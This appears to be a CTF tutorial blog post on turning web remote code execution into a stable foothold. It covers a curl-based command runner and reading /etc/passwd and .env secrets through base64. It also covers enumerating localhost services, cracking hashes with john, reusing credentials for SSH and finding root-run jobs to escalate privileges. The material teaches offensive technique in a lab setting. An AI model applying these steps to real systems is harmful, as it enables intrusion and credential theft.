From RCE to Stable Foothold

Remote code execution, usually shortened to RCE, means you found a way to make the target run a command. That feels like the finish line, but on most CTF machines it is only the start of the useful part of the solve.

A mistake I made when I was starting out is to chase a reverse shell. A reverse shell is a connection where the target machine calls back to your machine and gives you a shell. It can be useful, but it is also fragile. It can fail because outbound connections are blocked, quoting is wrong, the web process times out, the VPN is unreliable, or the shell is missing normal terminal features.

The better first goal is a stable foothold.

The Big Idea

After you find a way to RCE you might ask yourself the question:

Instead you should ask yourself:

Practical RCE Path
  1. 1Prove RCE.
  2. 2Build a repeatable command runner.
  3. 3Collect local evidence.
  4. 4Find credentials or internal services.
  5. 5Upgrade to SSH or another stable foothold.
  6. Perform targeted privilege escalation.

Step 1: Prove Command Execution

Start with harmless commands where the output is predictable:

rce/prove.sh
www-data@web01:/var/www/app$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@web01:/var/www/app$whoami
www-data
www-data@web01:/var/www/app$hostname
web01
www-data@web01:/var/www/app$pwd
/var/www/app
www-data@web01:/var/www/app$echo stable-test
stable-test
www-data@web01:/var/www/app$
What this tells us
  • The command is running as www-data, a common web-server user.
  • We are on a host named web01.
  • The current directory is /var/www/app, which may contain source code.
  • Output is visible, so we may not need a reverse shell yet.

If these simple commands are unreliable, a reverse shell will probably be unreliable too.

Step 2: Turn RCE Into a Command Runner

Manual RCE quickly becomes painful. For example:

rce/manual-requests.sh
curl 'http://target.local/vulnerable?cmd=id'
curl 'http://target.local/vulnerable?cmd=cat%20/etc/passwd'
curl 'http://target.local/vulnerable?cmd=ls%20-la%20/opt'

Thats alot to type all the time. The problem is also that every command has quoting, encoding, timeout, and output-handling issues.

A simple command runner can hide most of that mess. It can be a shell function, a Python script, a request template, or a tool from your own toolkit. The exact wrapper matters less than making execution repeatable.

For example, this shell function URL-encodes the command with Python and sends it through the vulnerable cmd parameter:

runner/run-function.sh
run() {
  local cmd encoded
  cmd="$*"
  encoded="$(python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1]))' "$cmd")"
  curl -s "http://target.local/vulnerable?cmd=${encoded}"
}

Then usage becomes consistent:

runner/examples.sh
run 'id'
run 'ss -lntup'
run 'find /opt /srv /var/www -maxdepth 4 -type f 2>/dev/null'
Command runner requirements
  • Insert the command into the vulnerable request.
  • Encode special characters correctly.
  • Show the output clearly.
  • Save important output into files so you can review it later.

Step 3: Avoid Fragile Payloads First

Before trying complex shell payloads, run short commands:

rce/short-checks.sh
www-data@web01:/var/www/app$id
www-data@web01:/var/www/app$uname -a
www-data@web01:/var/www/app$cat /etc/os-release
Linux web01 6.8.0-xx-generic x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 24.04 LTS"
www-data@web01:/var/www/app$

Short commands give you facts before you spend time debugging a shell.

Step 4: Read Files Safely With Base64

When reading files through RCE, raw output can break. HTML may escape it, binary bytes may disappear, and long lines may be truncated.

For RCE, that means file output is easier to copy, save, and decode locally.

On the target:

target/read-passwd.sh
www-data@web01:/var/www/app$base64 -w0 /etc/passwd
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo=
www-data@web01:/var/www/app$

Locally, decode it:

local/decode-passwd.sh
attacker@laptop:~/ctf$echo 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo=' | base64 -d
root:x:0:0:root:/root:/bin/bash
attacker@laptop:~/ctf$

For large files, save the base64 output into an artifact file first:

artifacts/save-config.sh
run 'base64 -w0 /var/www/app/config.php' > artifacts/config.php.b64
base64 -d artifacts/config.php.b64 > artifacts/config.php

This is slower than a direct shell, but it is much more reliable.

Step 5: Collect High-Value Local Evidence

After proving RCE, collect evidence that explains the machine.

Good first commands:

enum/first-pass.sh
id
hostname
pwd
ss -lntup
ps auxww
find /opt /srv /var/www -maxdepth 5 -type f 2>/dev/null
find /home -maxdepth 3 -type f 2>/dev/null

Here is what each command does:

CommandWhy it matters
idShows the current user and groups.
hostnameConfirms which host or container you are on.
pwdShows the current working directory.
ss -lntupLists listening TCP/UDP services.
ps auxwwLists running processes with full command lines.
find /opt /srv /var/www ...Searches common app directories.
find /home ...Looks for user files, keys, notes, and app data.

ss -lntup is especially important. It can reveal services that only listen on localhost.

Example output:

output/listeners.txt
Netid State  Local Address:Port  Peer Address:Port Process
tcp   LISTEN 0.0.0.0:80          0.0.0.0:*         users:(("nginx",pid=812))
tcp   LISTEN 127.0.0.1:3000      0.0.0.0:*         users:(("node",pid=1204))
tcp   LISTEN 127.0.0.1:5432      0.0.0.0:*         users:(("postgres",pid=991))
Reading the service list
  • Port 80 is public.
  • Port 3000 is only reachable from the target itself.
  • Port 5432 is a local database.
  • That local-only service on 127.0.0.1:3000 may be more important than the public website.

Step 6: Understand Localhost

127.0.0.1 means localhost. It is the machine talking to itself.

Localhost from the target
Your laptop
target.local:3000
Local-only service
127.0.0.1:3000
Target machine
run curl
Local-only service
127.0.0.1:3000

From your laptop, this might fail:

local/remote-test.sh
attacker@laptop:~/ctf$curl http://target.local:3000/
curl: (7) Failed to connect to target.local port 3000
attacker@laptop:~/ctf$

But from the target, it might work:

target/local-test.sh
www-data@web01:/var/www/app$run 'curl -s http://127.0.0.1:3000/'
{"status":"ok","service":"internal-api"}
www-data@web01:/var/www/app$

Before building a full tunnel, try a small target-side request:

target/internal-http.sh
run 'curl -s http://127.0.0.1:3000/version'
run 'curl -s http://127.0.0.1:3000/api/status'

If the service is HTTP, curl may be enough. If it uses another protocol, you may need a small bridge script that speaks to the local service from the target.

Step 7: Search for Configs Before Guessing

Configuration files are often the fastest path from RCE to a real foothold.

Useful searches:

enum/find-configs.sh
find / -maxdepth 4 -type f \( \
  -name '.env' -o \
  -name '*.db' -o \
  -name '*.sqlite' -o \
  -name 'config.php' -o \
  -name 'settings.py' -o \
  -name 'docker-compose.yml' \
\) 2>/dev/null

Example output:

output/config-paths.txt
/var/www/app/.env
/var/www/app/database.sqlite
/opt/internal/config.yml

Read the smallest, most relevant files first:

target/read-env.sh
www-data@web01:/var/www/app$run 'sed -n "1,120p" /var/www/app/.env'
APP_ENV=production
DB_HOST=127.0.0.1
DB_NAME=app
DB_USER=appuser
DB_PASSWORD=example-password
www-data@web01:/var/www/app$
Config file leads
  • The app uses a local database.
  • We found a database username.
  • We found a password that may work elsewhere.
  • In CTF machines, secret reuse is common.

Do not assume the password only works for the database. Test it carefully against appropriate services.

Step 8: Build a Credential Pipeline

Credentials are usernames, passwords, hashes, API tokens, SSH keys, cookies, or anything else that proves identity.

When you find a secret, record:

notes/credential-template.txt
Where it came from:
What username it belongs to:
Whether it is plaintext or a hash:
Where you tested it:
Whether it worked:

Example notes:

notes/credential-example.txt
Source: /var/www/app/.env
User: appuser
Secret: example-password
Type: plaintext password
Tested:
- database login: worked
- SSH as appuser: failed
- SSH as deploy: worked

If you find hashes, identify the hash type before cracking.

local/crack-hash.sh
hashid hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Example cracking output:

output/john.txt
examplepass      (deploy)

Then test SSH:

local/ssh-test.sh
ssh [email protected]

Step 9: Upgrade to SSH When Possible

SSH is usually better than web RCE because it gives you:

  • A normal shell.
  • Reliable command output.
  • Easier file transfer.
  • Access to user-specific files.
  • Better post-exploitation enumeration.

Example:

local/ssh-login.sh
attacker@laptop:~/ctf$ssh [email protected]
attacker@laptop:~/ctf$id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),1002(app)
attacker@laptop:~/ctf$

Now run the same high-value checks again, because SSH may show things the web user could not access:

ssh/post-login-enum.sh
id
sudo -l
ss -lntup
ps auxww
find /home -maxdepth 3 -type f 2>/dev/null

sudo -l asks Linux which commands your user may run with elevated privileges.

Example output:

output/sudo-list.txt
User deploy may run the following commands on web01:
    (root) NOPASSWD: /usr/local/bin/backup

This does not automatically mean root is solved, but it is a strong lead. The next step is to inspect what /usr/local/bin/backup does and whether it uses attacker-controlled files.

Step 10: Recognize Root-Owned Automation

Root-owned automation is any privileged service or script that performs tasks for users. Examples include:

  • Backup scripts.
  • Deployment services.
  • Git services.
  • CI runners.
  • Provisioning tools.
  • Parser or file-conversion workers.
  • Scheduled jobs.

These are valuable because they may consume files or settings you can control.

Useful commands:

enum/root-automation.sh
ps auxww | grep -E 'backup|worker|queue|git|node|python|ruby'
systemctl list-units --type=service --state=running
systemctl list-timers
cat /etc/crontab
find /etc/systemd/system /lib/systemd/system -name '*.service' -type f 2>/dev/null

Example process output:

output/processes.txt
deploy@web01:~$ps auxww | grep -E 'backup|worker|queue|git|node|python|ruby'
root 1211 0.0 python3 /opt/jobs/worker.py
deploy 1410 0.0 /bin/bash
deploy@web01:~$

The important part is the first column:

output/process-owner.txt
root

That means /opt/jobs/worker.py is running as root. If your user can influence what the worker reads, writes, imports, parses, or executes, it may become the privilege escalation path.

Step 11: When a Reverse Shell Is Actually Useful

Reverse shells are not bad. They are just not always the first move.

Use a reverse shell when:

  • The RCE is blind and does not return output.
  • You need interactive behavior.
  • You need to run commands that are hard to encode.
  • You need a TTY for sudo, editors, or interactive tools.
  • You need network pivoting.
  • Your command runner is too limited.

Even then, keep your command runner. If the shell dies, the runner is your way back in.

Common Beginner Problems

Problem: My command works locally but fails through the URL

Likely cause: quoting or URL encoding.

Try a simpler command:

debug/simple-url.sh
id
echo test

Then add complexity slowly:

debug/quoting.sh
echo hello
echo hello; id
sh -c 'id'

Problem: I cannot read long files

Use base64:

target/base64-file.sh
base64 -w0 /path/to/file

Decode locally:

local/decode-file.sh
base64 -d file.b64 > file

Problem: SSH logs in but hangs

This can happen on VPN links because of MTU issues. MTU means maximum transmission unit, the largest packet size a network path can handle without fragmentation.

Try:

local/ssh-mtu.sh
ssh -o IPQoS=none [email protected]

If you control the VPN container, lowering the VPN interface MTU can help:

vpn/lower-mtu.sh
ip link set dev tun0 mtu 1200

Problem: I found a password but SSH failed

Do not throw it away. Try to understand what it belongs to:

notes/secret-types.txt
database password
admin panel password
API token
service account password
reused Linux password

Preserve exact casing. ExamplePass and examplepass are different passwords.

A Practical Checklist

After RCE:

checklist/after-rce.sh
id
whoami
hostname
pwd
uname -a
cat /etc/os-release
ss -lntup
ps auxww
find /opt /srv /var/www -maxdepth 5 -type f 2>/dev/null
find /home -maxdepth 3 -type f 2>/dev/null

Then look for configs:

checklist/find-configs.sh
find / -maxdepth 4 -type f \( \
  -name '.env' -o \
  -name '*.db' -o \
  -name '*.sqlite' -o \
  -name 'config.php' -o \
  -name 'settings.py' -o \
  -name 'docker-compose.yml' \
\) 2>/dev/null

If credentials appear:

checklist/ssh.sh
ssh [email protected]

After SSH:

checklist/after-ssh.sh
id
sudo -l
ss -lntup
ps auxww
find /etc /opt /srv /var/www -maxdepth 4 -type f 2>/dev/null | head -300

Summary

Fastest Stable Foothold Path
  1. 1Prove command execution.
  2. 2Make command execution repeatable.
  3. 3Read configs and source.
  4. 4Inspect local services.
  5. 5Recover credentials.
  6. 6Upgrade to SSH.
  7. Target the specific privileged service or script.